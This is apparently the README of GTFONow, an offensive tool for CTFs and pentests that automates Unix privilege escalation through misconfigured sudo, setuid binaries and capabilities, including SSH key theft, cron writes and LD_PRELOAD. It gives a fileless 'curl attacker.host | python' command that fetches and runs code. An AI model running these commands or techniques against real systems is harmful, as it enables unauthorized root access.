GTFONow

Automatic privilege escalation on unix systems by exploiting misconfigured setuid/setgid binaries, capabilities and sudo permissions. Designed for CTFs but also applicable in real world pentests.

✅ Features

  • Automatically exploit misconfigured sudo permissions.
  • Automatically exploit misconfigured suid, sgid permissions.
  • Automatically exploit misconfigured capabilities.
  • Automatically convert arbitrary file read primitive into shell by stealing SSH keys.
  • Automatically convert arbitrary file write primitive into shell by dropping SSH keys.
  • Automatically convert arbitrary file write primitive into shell by writing to cron.
  • Automatically convert arbitrary file write primitive into shell using LD_PRELOAD.
  • Single file, easy to run fileless with curl http://attackerhost/gtfonow.py | python

💻 Usage

To use GTFONow, simply run the script from your command line. The basic syntax is as follows:

python gtfonow.py [OPTIONS]

It can also be run by piping the output of curl:

curl http://attacker.host/gtfonow.py | python

Options

  • --level: Sets the level of checks to perform. You can choose between:
    • 1 (default) for a quick scan.
    • 2 for a more thorough scan.
    • Example: python gtfonow.py --level 2
  • --risk: Specifies the risk level of the exploit to perform. The options are:
    • 1 (default) for safe operations.
    • 2 for more aggressive operations such as file modifications, primarily for use in CTFs, if using on real engagements, ensure you understand what this is doing.
    • Example: python gtfonow.py --risk 2
  • --command: Issues a single command instead of spawning an interactive shell. This is mainly for debugging purposes.
    • Example: python gtfonow.py --command 'ls -la'
  • --auto: Automatically exploits without user wizard.
  • -v, --verbose: Enables verbose output.
    • Example: python gtfonow.py --verbose

Compatibility

By design GTFONow is a backwards compatible, stdlib only python script, meaning it should work on any variant of Unix if Python is installed.

  • Python2.*
  • Python3.*
  • No 3rd party dependencies
  • Any Unix Variant (Linux, MacOS,*Nix)
  • Any architecture eg (X86/ARM64/X86-64)
